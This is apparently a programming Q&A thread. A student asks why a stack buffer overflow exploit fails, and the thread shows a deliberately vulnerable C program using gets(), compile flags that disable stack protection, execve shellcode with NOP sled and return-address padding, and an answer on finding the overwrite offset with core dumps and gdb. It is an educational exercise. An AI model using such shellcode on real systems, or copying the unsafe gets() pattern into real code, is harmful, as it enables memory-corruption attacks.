Unable to run stack buffer overflow exploit

Question

I have to inject a code in the following buffer overflow program. The code should print the hostname. I have an opcode (\x31\xc0\x50\x68\x6e\x61\x6d\x65\x68\x68\x6f\x73\x74\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x54\x53\xb0\x0b\x50\xcd\x80) which works. I have used NOPs and repeated return address. But I'm not able to run the code with it and I always end up with a segmentation fault. Can anyone help me on this?

Vulnerable.c

#include <stdio.h>
#include <stdlib.h>

int
main(int argc, char * * argv)
{
  char * stuff = 0;
  int len = 0;
  vulnerable();
  return 0;
}

int
vulnerable(void)
{
  char buf[100];
  printf("enter your name: ");
  fflush(stdout);
  gets(buf);
  printf("\"%s\"\n Welcome", buf );
}

I compiled the above program with

gcc -ggdb -mpreferred-stack-boundary=2 -fno-stack-protector -z execstack -o vulnerable vulnerable.c

Shellcode.py

print "\x90"*51 +"\x31\xc0\x50\x68\x6e\x61\x6d\x65\x68\x68\x6f\x73\x74\x68\x62\x69\x6e\x2f\x68\x2‌f\x2f\x2f\x2f\x89\xe3\x50\x54\x53\xb0\x0b\x50\xcd\x80" + "\xd8\xf3\xff\xbf"*6

I have called this python program in command line by

python shellcode.py | ./vulnerable

what OS are you using? Do you have all stack-protections disabled? — thurizas
You have to disable stack protections and then use a debugger to see what's going on. — ouah
I'm using it on Linux 12.04. I have disabled ASLR,Stack protection. To input the shellcode I have used python. — Maddy
If you're interested, the meta discussion surrounding this post is here — George Stocker

Cronovirus Cronovirus · Accepted Answer · 2014-12-20T17:46:56

I suggest you to turn on core dump:

ulimit -c unlimited

then do a simple buffer overflow like perl -e 'print "A"x130' and system will generate the dump: open it with gdb -c core and you will see %eip=0x41414141

Then you can reduce the buffer injected like perl -e 'print "A"x120' until you get exactly the size of buffer in order to overwrite RET.

Unable to run stack buffer overflow exploit

2 Answers